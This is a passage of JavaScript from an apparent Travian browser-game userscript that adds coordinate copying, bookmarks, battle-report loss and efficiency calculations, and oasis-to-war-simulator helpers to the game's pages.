n.snapshotItem(i).innerHTML.split('(')[1];\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t}\n\t\t}\n\n\t\t// Recupera la coordenada Y\n\t\t//n = find(\"//table[@class='f8']//*/td[@align='left']\", XPList);\n\t\tn = find(\"//table[@class='dtbl']//td[@class='left dlist3']\", XPList);\n\t\tfor (var i = 0; i < n.snapshotLength; i++)\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tciudades[i].y = n.snapshotItem(i).innerHTML.split(')')[0];\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t}\n\t\t}\n\t\t// Por cada par de coordenadas crea un evento para copiarlas al formulario\n\t\t//n = find(\"//table[@class='f8' and @width='73']//tr\", XPList); // TMR - added @width='73' for map page\n\t\tn = find(\"//table[@class='dtbl']//tr\", XPList);\n\t\tfor (var i = 0; i < ciudades.length; i++)\n\t\t{\n\t\t\tvar elem = n.snapshotItem(i);\n\t\t\tif (map == 1)\n\t\t\t\telem.setAttribute('onClick', \"document.getElementsByName('xp')[0].value='\" + ciudades[i].x + \"';document.getElementsByName('yp')[0].value='\" + ciudades[i].y + \"'\");\n\t\t\telse\n\t\t\t\telem.setAttribute('onClick', \"snd.x.value='\" + ciudades[i].x + \"';snd.y.value='\" + ciudades[i].y + \"'\");\n\t\t\telem.setAttribute('onMouseOver', 'this.style.color=\"red\"');\n\t\t\telem.setAttribute('onMouseOut', 'this.style.color=\"black\"');\n\t\t\telem.style.cursor = \"pointer\";\n\t\t}\n\t}\n\n\t// determines if the current page is a scout report\n\tfunction isScoutAttackReport()\n\t{\n\t\t// only worry about this on reports\n\t\tif (window.top.location.href.indexOf('berichte.php', 0) == -1)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tvar attackerVillage;\n\t\tvar defenderVillage;\n\t\tvar attackMessage\n\t\tvar tds = $tags(\"td\")\n\t\tfor (var i = 0; i < tds.length; i++)\n\t\t{\n\t\t\tif (tds[i].innerHTML == \"Attacker\")\n\t\t\t{\n\t\t\t\tattackerVillage = $tags(\"a\", tds[i].parentNode)[1].innerHTML;\n\t\t\t}\n\t\t\tif (tds[i].innerHTML == \"Defender\")\n\t\t\t{\n\t\t\t\tvar hrefs = $tags(\"a\", tds[i].parentNode);\n\t\t\t\tif (hrefs.length >= 2)\n\t\t\t\t{\n\t\t\t\t\tdefenderVillage = hrefs[1].innerHTML;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tvar attackMessage = find(\"//tr[@class='rbg']//td\", XPList).snapshotItem(1).innerHTML;\n\n\n\t\treturn (attackMessage.indexOf(attackerVillage + \" scouts \" + defenderVillage, 0) != -1);\n\t}\n\n\t// Triggers as long as you're not being attacked...\n\t/*\tfunction isRaid()\t{\n\t //link to defending village:\n\t var foo = find(\"//tbody//tr//td[@colspan='10']//a\", XPList);\n\t foo = foo.snapshotItem(2);\n\t foo += \"\";\n\t foo = foo.match(/\\d+(?=&)/gi); //Village ID of defending village / z\n\n\t // your villages:\n\t var right = find(\"//tbody//tr//td[@class='right']\", XPList);\n\n\t var village;\n\t var id;\n\n\t for( i = 0; i < right.snapshotLength; i++)\n\t {\n\t //goes through your list of villages to see if you are defending.\n\n\t village = right.snapshotItem(i);\n\n\t //get coordinates: x = 0, y = 1;\n\t village = village.innerHTML.replace(/\\n/gi, \"\").split(/<[^<>]+>/).join(\"\").replace(/[()]/g, \"\").split(\"|\");\n\n\t id = xy2id(village[0], village[1]);\n\n\t if(id*1 == foo*1){return false;}\n\t }\n\n\t return true;\n\t }*/\n\t// b is title, a is link\n\tfunction addBookmark(b, a)\n\t{\n\t\tb += \"\";\n\t\ta += \"\";\n\n\t\tagregarElementoCookie(\"marcadores\", [b, a]);\n\t\tremoveElement('marcadores');\n\t\tmostrarMarcadores();\n\t}\n\n\t/** Il calcule et affiche des informations supplémentaires dans les rapports d'attaques * Codigo inicial de Bafox */\n\tfunction reportBatalla()\n\t{\n\t\tvar t = find(\"//table[@class='tbg']//table[@class='tbg']\", XPList);\n\t if (t.snapshotLength > 1)\n\t {\n\t\t\tlocation.href.match(/id=(\\d+)/);\n\t\t\tvar delreporthref = 'berichte.php\\?n1=' + RegExp.$1 + '&del=Delete';\n\t\t\tvar delreport = $elem(\"TR\");\n\t\t\tdelreport.className = \"cbg1\";\n\t\t//\tdelreport.innerHTML = '<td class=rgb colspan=2>&nbsp;<input style=\"font-weight:bold; font-size:8pt; height:14pt\" onClick=\"document.location.href=\\'' + delreporthref + '\\'\" type=button value=\"' + T('ELIMINAR') + '\">';\n\t\t\tfind(\"//table//table[@class='tbg']\", XPFirst).parentNode.appendChild(delreport);\n\n\t\t\tif (find(\"//table[@class='tbg']//tr[@class='rbg']\", XPFirst).textContent.match(/ supplies | reinforces /))\n\t\t\t\treturn;\n\n\t\t\tvar bookmarkRaid = '&nbsp;<input style=\"font-weight:bold; font-size:8pt; height:14pt\" onClick=\"javascript:void(0);\" value=\"' + T('MP') + '\" type=button id=orange />';\n\t\t\tvar raidhref = find(\"//tbody//tr[@class='cbg1']//a\", XPList);\n\t\t\t//\tvar where = raidhref.snapshotItem(raidhref.snapshotLength - (raidhref.snapshotLength / 2)).innerHTML + \" \" + raidhref.snapshotItem(raidhref.snapshotLength - 1).innerHTML + \" \" + raidhref.snapshotItem(raidhref.snapshotLength - 4).innerHTML;\n\t\t\t//\twhere = where.replace(\"\\n\", \"\");\n\t\t\traidhref = raidhref.snapshotItem(raidhref.snapshotLength - 4).href;\n\n\t\t\tvar foo = find(\"//tbody//tr[@class='cbg1']\", XPList)\n\t\t\tfoo.snapshotItem(foo.snapshotLength - 1).innerHTML += (bookmarkRaid);\n\n\t\t\tget(\"orange\").addEventListener(\"click\", function()\n\t\t\t{ //addBookmark(where, raidhref);//}, false);\n\t\t\t\tvar a = raidhref;\n\t\t\t\tvar b = prompt(T('TEXTO'));\n\t\t\t\tif (b == null || b == '' || b == 'undefined')\n\t\t\t\t\treturn;\n\t\t\t\tagregarElementoCookie(\"marcadores\", [b, a]);\n\t\t\t\tremoveElement('marcadores');\n\t\t\t\tmostrarMarcadores();\n\t\t\t}, 0);\n\t\t\t// Encuentra y suma todas las cantidades del botin\n\t\t\tvar botin = null;\n\t\t\tvar a = find(\"//tr[@class='cbg1']\", XPList);\n\t\t\tif (a.snapshotLength >= 3)\n\t\t\t{\n\t\t\t\t// FIXME: Apa�o para Firefox. FF mete nodos de tipo texto vacios\n\t\t\t\tif (a.snapshotItem(1).childNodes.length == 4)\n\t\t\t\t{\n\t\t\t\t\tvar b = a.snapshotItem(1).childNodes[3];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tvar b = a.snapshotItem(1).childNodes[1];\n\t\t\t\t}\n\t\t\t\tif (b.childNodes.length == 8)\n\t\t\t\t{\n\t\t\t\t\tvar cantidades_botin = new Array();\n\t\t\t\t\tcantidades_botin[0] = parseInt(b.childNodes[1].nodeValue);\n\t\t\t\t\tcantidades_botin[1] = parseInt(b.childNodes[3].nodeValue);\n\t\t\t\t\tcantidades_botin[2] = parseInt(b.childNodes[5].nodeValue);\n\t\t\t\t\tcantidades_botin[3] = parseInt(b.childNodes[7].nodeValue);\n\t\t\t\t\tbotin = arrayToInt(cantidades_botin);\n\t\t\t\t\t/*var info_botin = '';\n\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t{\n\t\t\t\t\t\tinfo_botin += '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\">';\n\t\t\t\t\t\tinfo_botin += cantidades_botin[i];\n\t\t\t\t\t\tif (i < 3)\n\t\t\t\t\t\t\tinfo_botin += ' + ';\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tinfo_botin += ' = ';\n\t\t\t\t\t}\n\t\t\t\t\tBattleAnalyse = readCookie(\"BattleAnalyse\" + server);\n\t\t\t\t\tif (BattleAnalyse == false || BattleAnalyse == null)\n\t\t\t\t\t{\n\t\t\t\t\t\tinfo_botin += botin;\n\t\t\t\t\t\tb.innerHTML = info_botin;\n\t\t\t\t\t}*/\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tvar perds = new Array();\n\t\t\tvar carry = new Array();\n\t\t\t// Por cada participante en la batalla (atacante, defensor y posibles apoyos)\n\t\t\tfor (var g = 0; g < t.snapshotLength; g++)\n\t\t\t{\n\t\t\t\tperds[g] = [0, 0, 0, 0];\n\t\t\t\tcarry[g] = 0;\n\t\t\t\tvar tt = t.snapshotItem(g);\n\t\t\t\tvar num_elementos = tt.rows[1].cells.length - 1;\n\t\t\t\t// ignore row 3 if it's prisoners and we freed them\n\t\t\t\tvar countPrisonersAsLosses = false;\n\n\t\t\t\tvar gotPrisoners = 0;\n\t\t\t\tfor (var i = 0; i < tt.rows.length; i++)\n\t\t\t\t{ //freed line is variable depending on if there were casualites/catapult attacks\n\t\t\t\t\tif (tt.rows[i].cells[0].innerHTML == \"Prisoners\")\n\t\t\t\t\t\tgotPrisoners = i;\n\t\t\t\t\tif (gotPrisoners && tt.rows[i].cells[1].innerHTML.indexOf(\"freed\") != -1)\n\t\t\t\t\t\tcountPrisonersAsLosses = true;\n\t\t\t\t}\n\t\t\t\tfor (var j = 1; j < 11; j++)\n\t\t\t\t{\n\t\t\t\t\t// Recupera la cantidades de tropa de cada tipo que han intervenido\n\t\t\t\t\tvar u = uc[$tags('img', tt.rows[1].cells[j])[0].src.replace(/.*\\/.*\\//, '').replace(/\\..*/, '')];\n\t\t\t\t\tvar unitsLost = 0;\n\n\t\t\t\t\tif (!countPrisonersAsLosses || (gotPrisoners && gotPrisoners != 3)) //no casualties and captured/freed, or unit casualties\n\t\t\t\t\t{\n\t\t\t\t\t\tunitsLost = tt.rows[3] ? tt.rows[3].cells[j].innerHTML : 0; //use row 3, which is either casualties, or no casualties and units captured.\n\t\t\t\t\t\t// Basandose en el coste por unidad y su capacidad, se calculan las perdidas y la capacidad de carga total\n\t\t\t\t\t\tvar ptu = arrayByN(u, unitsLost);\n\t\t\t\t\t\tperds[g] = arrayAdd(perds[g], ptu.slice(0, 4));\n\t\t\t\t\t}\n\t\t\t\t\tif (gotPrisoners && gotPrisoners != 3)\n\t\t\t\t\t{ //if we had prisoners captured and unit casualties\n\t\t\t\t\t\tif (!countPrisonersAsLosses)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tunitsLost = tt.rows[gotPrisoners] ? tt.rows[gotPrisoners].cells[j].innerHTML : 0; //use our captured line\n\t\t\t\t\t\t\t// Basandose en el coste por unidad y su capacidad, se calculan las perdidas y la capacidad de carga total\n\t\t\t\t\t\t\tvar ptu = arrayByN(u, unitsLost);\n\t\t\t\t\t\t\tperds[g] = arrayAdd(perds[g], ptu.slice(0, 4));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcarry[g] += (tt.rows[2] ? tt.rows[2].cells[j].innerHTML - unitsLost : 0) * u[4];\n\t\t\t\t}\n\n\t\t\t\t// Anyade la nueva informacion como una fila adicional en cada tabla // Anyade nouvelles informations supplémentaires comme une rangée de chaque tableau\n\t\t\t\tvar informe = $elem(\"TD\");\n\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t{\n\t\t\t\t\t//# TMR\n\t\t\t\t\tinforme.innerHTML += '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\">';\n\t\t\t\t\tinforme.innerHTML += perds[g][i];\n\t\t\t\t\tif (i < 3)\n\t\t\t\t\t\tinforme.innerHTML += ' + ';\n\t\t\t\t\telse\n\t\t\t\t\t\tinforme.innerHTML += ' = ';\n\t\t\t\t}\n\t\t\t\tvar perdidas = arrayToInt(perds[g]);\n\t\t\t\tinforme.innerHTML += perdidas;\n\t\t\t\tinforme.colSpan = num_elementos;\n\t\t\t\tinforme.className = \"s7\";\n\t\t\t/*\tvar fila = $elem(\"TR\");\n\t\t\t\tfila.className = \"cbg1\";\n\t\t\t\tfila.appendChild($elem(\"TD\", T('PERDIDAS'))); //suppression Ligne du tableau \"Pertes en matériels\" dans rapport combat : Ligne 3885\n\t\t\t\tfila.appendChild(informe); //suppression Ligne du tableau \"Pertes en matériels\" dans rapport combat\n\t\t\t\ttt.appendChild(fila);\n\t\t\t*/\n\t\t\t\t// Solo para el atacante se calcula y muestra la rentabilidad y eficiencia del ataque\n\t\t\t\t// don't print efficiency and profit for scout reports\n\t\t\t\tif (!isScoutAttackReport() && g == 0 && botin != null)\n\t\t\t\t{\n\t\t\t\t\tvar datos = $elem(\"TD\");\n\t\t\t\t\tvar fila_datos = $elem(\"TR\");\n\t\t\t\t\tdatos.colSpan = num_elementos;\n\n\t\t\t\t\t// La rentabilidad muestra el botin en comparacion con las perdidas\n\t\t\t\t\tvar rentabilidad = Math.round((botin - perdidas) * 100 / botin);\n\t\t\t\t\tif (botin == 0)\n\t\t\t\t\t\tif (perdidas == 0)\n\t\t\t\t\t\t\trentabilidad = 0;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\trentabilidad = -100;\n\t\t\t\t\tdatos.innerHTML = rentabilidad + \"%\";\n\t\t\t\t\tdatos.className = \"s7\";\n\t\t\t\t\tfila_datos.className = \"cbg1\";\n\t\t\t\t\tfila_datos.appendChild($elem(\"TD\", T('RENT')));\n\t\t\t\t\tfila_datos.appendChild(datos);\n\t\t\t\t\ttt.appendChild(fila_datos);\n\n\t\t\t\t\tvar datos = $elem(\"TD\");\n\t\t\t\t\tvar fila_datos = $elem(\"TR\");\n\t\t\t\t\tdatos.colSpan = num_elementos;\n\n\t\t\t\t\t// La eficiencia muestra el botin en comparacion con la cantidad de tropas utilizadas\n\t\t\t\t\tvar eficiencia = 100 - Math.round((carry[g] - botin) * 100 / carry[g]);\n\t\t\t\t\tif (carry[g] == 0)\n\t\t\t\t\t\teficiencia = 0;\n\t\t\t\t\tdatos.innerHTML = eficiencia + \"%\";\n\t\t\t\t\tdatos.className = \"s7\";\n\t\t\t\t\tfila_datos.className = \"cbg1\";\n\t\t\t\t\tfila_datos.appendChild($elem(\"TD\", T('EFICIENCIA')));\n\t\t\t\t\tfila_datos.appendChild(datos);\n\t\t\t\t\ttt.appendChild(fila_datos);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//else var tt = t.snapshotItem(0);\n\t\tlocation.href.match(/id=(\\d+)/);\n\t\tvar delreporthref = 'berichte.php\\?n1=' + RegExp.$1 + '&del=Delete';\n\t\tvar delreport = $elem(\"TR\");\n\t\tdelreport.className = \"cbg1\";\n\t\tdelreport.innerHTML = '<td class=rgb colspan=2>&nbsp;<input style=\"font-weight:bold; font-size:8pt; height:14pt\" onClick=\"document.location.href=\\'' + delreporthref + '\\'\" type=button value=\"' + T('ELIMINAR') + '\">';\n\t\tfind(\"//table//table[@class='tbg']\", XPFirst).parentNode.appendChild(delreport);\n\t}\n\n\tfunction copyNatureInOasis() { //Based on Travian: Battle Analyse\n\t\tvar nn = get('pr');\n\t\tif(nn != null) {\n\t\t\timgc = $elem('img', '', {\n\t\t\t\t'id': 'tba_imgcopy',\n\t\t\t\t'title': T('LBA17'),\n\t\t\t\t'src': imagenes['imgcopy']\n\t\t\t}, {\n\t\t\t\t'cursor': 'pointer'\n\t\t\t}, nn.childNodes[1]);\n\t\t\timgc.addEventListener('click', function(ev){\n\t\t\t\tvar form = $elem('form', '', {\n\t\t\t\t\t'method': 'post',\n\t\t\t\t\t'action': 'warsim.php'\n\t\t\t\t}, {}, $tags('body')[0]);\n\t\t\t\tvar input = $elem('input', '', {\n\t\t\t\t\t'type': 'hidden',\n\t\t\t\t\t'name': 'a1_v',\n\t\t\t\t\t'value': '1'\n\t\t\t\t}, {}, form);\n\t\t\t\tinput = $elem('input', '', {\n\t\t\t\t\t'type': 'hidden',\n\t\t\t\t\t'name': 'a2',\n\t\t\t\t\t'value': '4'\n\t\t\t\t}, {}, form);\n\t\t\t\tinput = $elem('input', '', {\n\t\t\t\t\t'type': 'hidden',\n\t\t\t\t\t'name': 'ktyp',\n\t\t\t\t\t'value': '2'\n\t\t\t\t}, {}, form);\n\t\t\t\tinput = $elem('input', '', {\n\t\t\t\t\t'type': 'hidden',\n\t\t\t\t\t'name': 'uid',\n\t\t\t\t\t'value': userID\n\t\t\t\t}, {}, form);\n\t\t\t\tinput = $elem('input', '', {\n\t\t\t\t\t'type': 'hidden',\n\t\t\t\t\t'name': 's1',\n\t\t\t\t\t'value': 'ok'\n\t\t\t\t}, {}, form);\n\t\t\t\tvar str = '';\n\t\t\t\tvar tdl = find('//div[@id=\"pr\"]/table[@class=\"f10\"]//td', XPList);\n\t\t\t\tvar race = parseInt($tags('img', tdl.snapshotItem(0))[0].src.match(/u\\/(\\d+)/)[1] / 10);\n\t\t\t\tfor(var i = 0; i < tdl.snapshotLength; i += 3){\n\t\t\t\t\tvar ut = parseInt($tags('img', tdl.snapshotItem(i))[0].src.match(/u\\/(\\d+)/)[1]);\n\t\t\t\t\tvar uc = parseInt(tdl.snapshotItem(i + 1).textContent);\n\t\t\t\t\tstr = str + ut + ',' + uc + ',';\n\t\t\t\t}\n\t\t\t\tcreateCookie('oasis_' + server, str);\n\t\t\t\tform.submit();\n\t\t\t}, true);\n\t\t\toasisInfo();\n\t\t}\n\t}\n\n\tfunction oasisInfo(){\n\t\tvar m = [0, 0, 0, 0];\n\t\tvar tdl = find('//div[@id=\"pr\"]/table[@class=\"f10\"]//td', XPList);\n\t\tif($tags('img', tdl.snapshotItem(0))[0].src.match(/u\\/(\\d+)/) == undefined){\n\t\t\tget('tba_imgcopy').style.display = 'none';\n\t\t\treturn;\n\t\t}\n\t\tvar race = parseInt($tags('img', tdl.snapshotItem(0))[0].src.match(/u\\/(\\d+)/)[1] / 10) * 10;\n\t\tfor(var i = 0; i < tdl.snapshotLength; i += 3){\n\t\t\tvar ut = parseInt($tags('img', tdl.snapshotItem(i))[0].src.match(/u\\/(\\d+)/)[1]) - race - 1;\n\t\t\tvar uc = parseInt(tdl.snapshotItem(i + 1).textContent);\n\t\t\tm[0] = m[0] + uc * nature[ut][0];\t//att\n\t\t\tm[1] = m[1] + uc * nature[ut][1];\t//def1\n\t\t\tm[2] = m[2] + uc * nature[ut][2];\t//def2\n\t\t\tm[3] = m[3] + uc * nature[ut][7];\t//food\n\t\t}\n\t\t$elem('br', '', {}, {}, 'pr');\n\t\tvar trep = $elem(\"table\", \"\", {}, {}, 'pr');\n\t\tvar row1 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\tvar row2 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\tvar row3 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\tvar row4 = $elem(\"tr\", \"\", {}, {}, trep);\n\n\t\t$elem(\"td\", '<img src=\"' + img('a/att_all.gif') + '\" title=\"' + T('LBA0') + '\">*' + m[0], {'align': 'left'}, {}, row1);\n\t\t$elem(\"td\", '<img src=\"' + img('a/def_i.gif') + '\" title=\"' + T('LBA2') + '\">*<span id=\"ats1\">' + m[1] + '</span>', {'align': 'lfet'}, {}, row2);\n\t\t$elem(\"td\", '<img src=\"' + img('a/def_c.gif') + '\" title=\"' + T('LBA3') + '\">*<span id=\"ats2\">' + m[2] + '</span>', {'align': 'left'}, {}, row3);\n\t\t$elem(\"td\", '<img src=\"' + img('r/5.gif') + '\" title=\"' + T('LBA10') + '\">*<span id=\"ats4\">' + m[3] + '</span>', {'align': 'left'}, {}, row4);\n\t}\n\n\tfunction pasteInWarsim()\n\t{\tif(readCookie('oasis_' + server) == undefined)\n\t\t\tcreateCookie('oasis_' + server, '');\n\t\tif(find('//table[@class=\"f10\"]', XPList).snapshotLength > 0)\n\t\t{\tvar nn = find('//table[@class=\"f10\"]/tbody/tr/td[2]/div', XPList);\n\t\t\tif(nn.snapshotLength == 0)\n\t\t\t\treturn;\n\t\t\timgpa = $elem('img', '', {\n\t\t\t\t'id': 'ba_imgp',\n\t\t\t\t'title': T('LBA18'),\n\t\t\t\t'src': imagenes['imgpaste']\n\t\t\t}, {'cursor': 'pointer'});\n\t\t\timgpa.addEventListener('click', function (ev)\n\t\t\t{\tvar mass = readCookie('oasis_' + server).split(',');\n\t\t\t\tif($names('a2_' + mass[0]).length == 0)\n\t\t\t\t\treturn;\n\t\t\t\tfor(var i = 1; i < 11; i++)\n\t\t\t\t\t$names('a2_' + (30 + i))[0].value = 0;\n\t\t\t\tfor(var i = 0; i < mass.length - 1; i += 2)\n\t\t\t\t\t$names('a2_' + mass[i])[0].value = mass[i + 1];\n\t\t\t}, false);\n\t\t\tnn.snapshotItem(0).childNodes[0].appendChild(imgpa);\n\t\t\tvar mass = readCookie('oasis_' + server).split(',');\n\t\t\tif($names('a2_' + mass[0]).length == 0)\n\t\t\t\timgpa.style.display = 'none';\n\t\t};\n\t}\n\n\tfunction parseBattleAnalyse()\n\t{\n\t\tvar BattleAnalyse = readCookie(\"BattleAnalyse\" + server);\n\t\tif (BattleAnalyse == true || BattleAnalyse == null)\n\t\t{\n\t\t\tvar tab;\n\t\t\tvar warsim = 0;\n\n\t\t\tvar worksave = 1;\n\t\t\tvar saveBeta = '';\n\n\t\t\tfunction mainBattleAnalyse()\n\t\t\t{\n\t\t\t\tif(readCookie('oasis_' + server) == undefined)\n\t\t\t\t\tcreateCookie('oasis_' + server, '');\n\n\t\t\t\ttab = find(\"//table[@class='tbg']/tbody\", XPList);\n\t\t\t\tif (window.location.href.match(/warsim.php/))\n\t\t\t\t{\tif(tab.snapshotLength < 3)\n\t\t\t\t\t\treturn;\n\t\t\t\t// Warsim\n\t\t\t\t\twarsim = 1;\n\t\t\t\t// End Warsim\n\t\t\t\t}else\n\t\t\t\t{\n\t\t\t\t\tif(tab.snapshotItem(1) == undefined) return;\n\t\t\t\t\tif(tab.snapshotItem(1).parentNode.id == 'MeXaon_ver_table') return;\n\t\t\t\t\tif($tags(\"td\", tab.snapshotItem(1).parentNode).length < 24) return;\n\t\t\t\t\tif($tags(\"td\", tab.snapshotItem(1))[0].textContent.charCodeAt(0) == 160) return;\n\t\t\t\t\t// fix anchors\n\t\t\t\t\t\tvar fa = $tags('a', tab.snapshotItem(0));\n\t\t\t\t\t\tfor( var i = 0; i < fa.length; i++)\n\t\t\t\t\t\t\tfa[i].href = fa[i].href;\n\t\t\t\t\t//\n\n\t\t\t\t\tif (worksave > 1)\n\t\t\t\t\t\tsaveBeta = getInnerText(tab.snapshotItem(0));\n\t\t\t\t\telse\n\t\t\t\t\t\tsaveBeta = '<table><tbody>' + tab.snapshotItem(0).innerHTML + '</tbody></table>';\n\t\t\t\t}\n\n\t\t\t\ttable = $tags(\"td\", tab.snapshotItem(1 - warsim));\n\t\t\t\tattacktable();\n\t\t\t\tfor(var i = (2 - warsim); i < tab.snapshotLength; i++)\n\t\t\t\t{\n\t\t\t\t\tif(tab.snapshotItem(i).parentNode.id != 'MeXaon_ver_table')\n\t\t\t\t\t{\n\t\t\t\t\t\ttable = $tags(\"td\", tab.snapshotItem(i));\n\t\t\t\t\t\tdeftable();\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t\tgeneratereport();\n\t\t\t}\n\n\t\t\tfunction attacktable()\n\t\t\t{\n\t\t\t\tvar statushero = 0;\n\t\t\t\tvar statustrap = 0;\n\t\t\t\tvar troops = 0; //1-romans 2-teutons 3-gauls\n\t\t\t\tvar lostres = new Array(0,0,0,0);\n\t\t\t\tvar atstemp = new Array(0,0,0,0,0,0,0,0,0,0);\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/1.gif\") > 0) troops = 1;\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/11.gif\") > 0) troops = 2;\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/21.gif\") > 0) troops = 3;\n\t\t\t\tswitch (troops)\n\t\t\t\t{\n\t\t\t\t\tcase 1: tm = romans; break;\n\t\t\t\t\tcase 2: tm = teutons; break;\n\t\t\t\t\tcase 3: tm = gauls; break;\n\t\t\t\t\tdefault: tm = null; break;\n\t\t\t\t}\n\t\t\t\tvar rescell = find(\"//tr[@class='cbg1']/td[@class='s7']\", XPFirst);\n\t\t\t\tif(tm != null)\n\t\t\t\t{\n\t\t\t\t\tif(table[13 - warsim * 2].innerHTML.indexOf(\"img\") > 0) {statushero = 1; ats[5] = 1;}\n\t\t\t\t\tvar tda = 14 + statushero - warsim * 2;\n\t\t\t\t\tvar tdl = 25 + statushero * 2 - warsim * 2;\n\t\t\t\t\tvar tdt = 0;\n\t\t\t\t\tif(!warsim && (table.rows > 4))\n\t\t\t\t\t\tif(table[36 + statushero * 3].getAttribute('colspan') == null)\n\t\t\t\t\t\t\ttdt = 36 + statushero * 3;\n\t\t\t\t\tfor(var i = 0; i <= (9 + statushero); i++)\n\t\t\t\t\t{\n\t\t\t\t\t\tatstemp[0] = atstemp[0] + table[tda + i].textContent * tm[i][0];\n\t\t\t\t\t\tlostres[0] = lostres[0] + table[tdl + i].textContent * tm[i][3];\n\t\t\t\t\t\tlostres[1] = lostres[1] + table[tdl + i].textContent * tm[i][4];\n\t\t\t\t\t\tlostres[2] = lostres[2] + table[tdl + i].textContent * tm[i][5];\n\t\t\t\t\t\tlostres[3] = lostres[3] + table[tdl + i].textContent * tm[i][6];\n\t\t\t\t\t\tatstemp[4] = atstemp[4] + table[tda + i].textContent * tm[i][7];\n\t\t\t\t\t\tatstemp[6] = atstemp[6] + table[tdl + i].textContent * tm[i][7];\n\t\t\t\t\t\tatstemp[8] = atstemp[8] + table[tda + i].textContent * tm[11][i] * tm[i][0];\n\t\t\t\t\t\tatstemp[9] = atstemp[9] + table[tda + i].textContent * tm[12][i] * tm[i][0];\n\t\t\t\t\t\tif(tdt != 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tatstemp[7] = atstemp[7] + table[tdt + i].textContent * tm[i][7];\n\t\t\t\t\t\t\tatstemp[3] = atstemp[3] + (table[tda + i].textContent - table[tdl + i].textContent - table[tdt + i].textContent) * tm[i][9];\n\t\t\t\t\t\t}else\n\t\t\t\t\t\t\tatstemp[3] = atstemp[3] + (table[tda + i].textContent - table[tdl + i].textContent) * tm[i][9];\n\t\t\t\t\t}\n\t\t\t\t\tatstemp[1] = lostres[0] + lostres[1] + lostres[2] + lostres[3];\n\t\t\t\t\tif (rescell != null)\n\t\t\t\t\t{\n\t\t\t\t\t\tres = rescell.textContent.split(\" \");\n\t\t\t\t\t\tatstemp[2] = parseInt(res[0]) + parseInt(res[1]) + parseInt(res[2]) + parseInt(res[3]);\n//\t\t\t\t\trescell.appendChild(elem('span','<i><b> ('+atstemp[2]+')</b></i>', null, null, 'f8'));\n\n\t\t\t\t\t\trescell.innerHTML = '';\n\t\t\t\t\t\tfor(var i = 0; i < 4; i++)\n\t\t\t\t\t\t\trescell.innerHTML += '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" class=\"res\" title=\"' + T('RECURSO' + (i+1)) + '\"> ' + res[i] + '&nbsp;';\n\n\t\t\t\t\t\trescell.innerHTML = '' + rescell.innerHTML + ' <img src=\"' + imagenes[\"imgpackgo\"] + '\" title=\"' + T('total') + '\"> <i><b class=\"f8\">(' + atstemp[2] + ')</b></i>';\n\t\t\t\t\t}\n\t\t\t\t\tattHTML = '<img src=\"' + imagenes[\"imgatti\"] + '\" align=\"left\" height=\"15\" width=\"15\" style=\"padding-left: 3px\">&nbsp;<font class=\"f8\"><i>' + atstemp[8] + '</i></font><br>';\n\t\t\t\t\tattHTML += '<img src=\"' + imagenes[\"imgattc\"] + '\" align=\"left\" height=\"15\" width=\"15\" style=\"padding-left: 3px\">&nbsp;<font class=\"f8\"><i>' + atstemp[9] + '</i></font><br>';\n\t\t\t\t\tattHTML += '<img title=\"' + T('LBA0') + '\" src=\"' + img('a/att_all.gif') + '\" align=\"left\" height=\"15\" width=\"15\" style=\"padding-left: 3px\">&nbsp;<font class=\"f8\"><i>' + atstemp[0] + '</i></font>';\n\t\t\t\t\ttable[2 - warsim * 2].innerHTML = attHTML;\n\t\t\t\t\trowi = $elem(\"tr\");\n\t\t\t\t\tcell1 = $elem(\"td\", '<font class=\"f8\"><i>' + T('PERDIDAS') + '</i></font>', {}, {}, rowi);\n\t\t\t\t\tcell2 = $elem(\"td\", \"\",\n\t\t\t\t\t{\n\t\t\t\t\t\t\"align\": \"left\",\n\t\t\t\t\t\t\"colspan\": 10 + statushero\n\t\t\t\t\t}, {}, rowi);\n\n\t\t\t\t\tfor(var i = 0; i < 4; i++)\n\t\t\t\t\t{\n//\t\t\t\t\tcell2.innerHTML='<font class=\"f8\"><i><img src=\"'+img('r/1.gif')+'\" class=\"res\" title=\"' + T('RECURSO'+i) + '\">'+lostres[0]+'&nbsp;<img src=\"'+img('r/2.gif')+'\">'+lostres[1]+'&nbsp;<img src=\"'+img('r/3.gif')+'\">'+lostres[2]+'&nbsp;<img src=\"'+img('r/4.gif')+'\">'+lostres[3]+'&nbsp; <b>(-'+atstemp[1]+')</b></i></font>';\n\t\t\t\t\t\tcell2.innerHTML += '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" class=\"res\" title=\"' + T('RECURSO' + (i + 1)) + '\"> ' + lostres[i] + '&nbsp;';\n\t\t\t\t\t}\n\n\t\t\t\t\tcell2.innerHTML='<font class=\"f8\"><i>' + cell2.innerHTML + ' <img src=\"' + imagenes[\"imgpackgo\"] + '\" title=\"' + T('TOTAL') + '\"> <b>(-' + atstemp[1] + 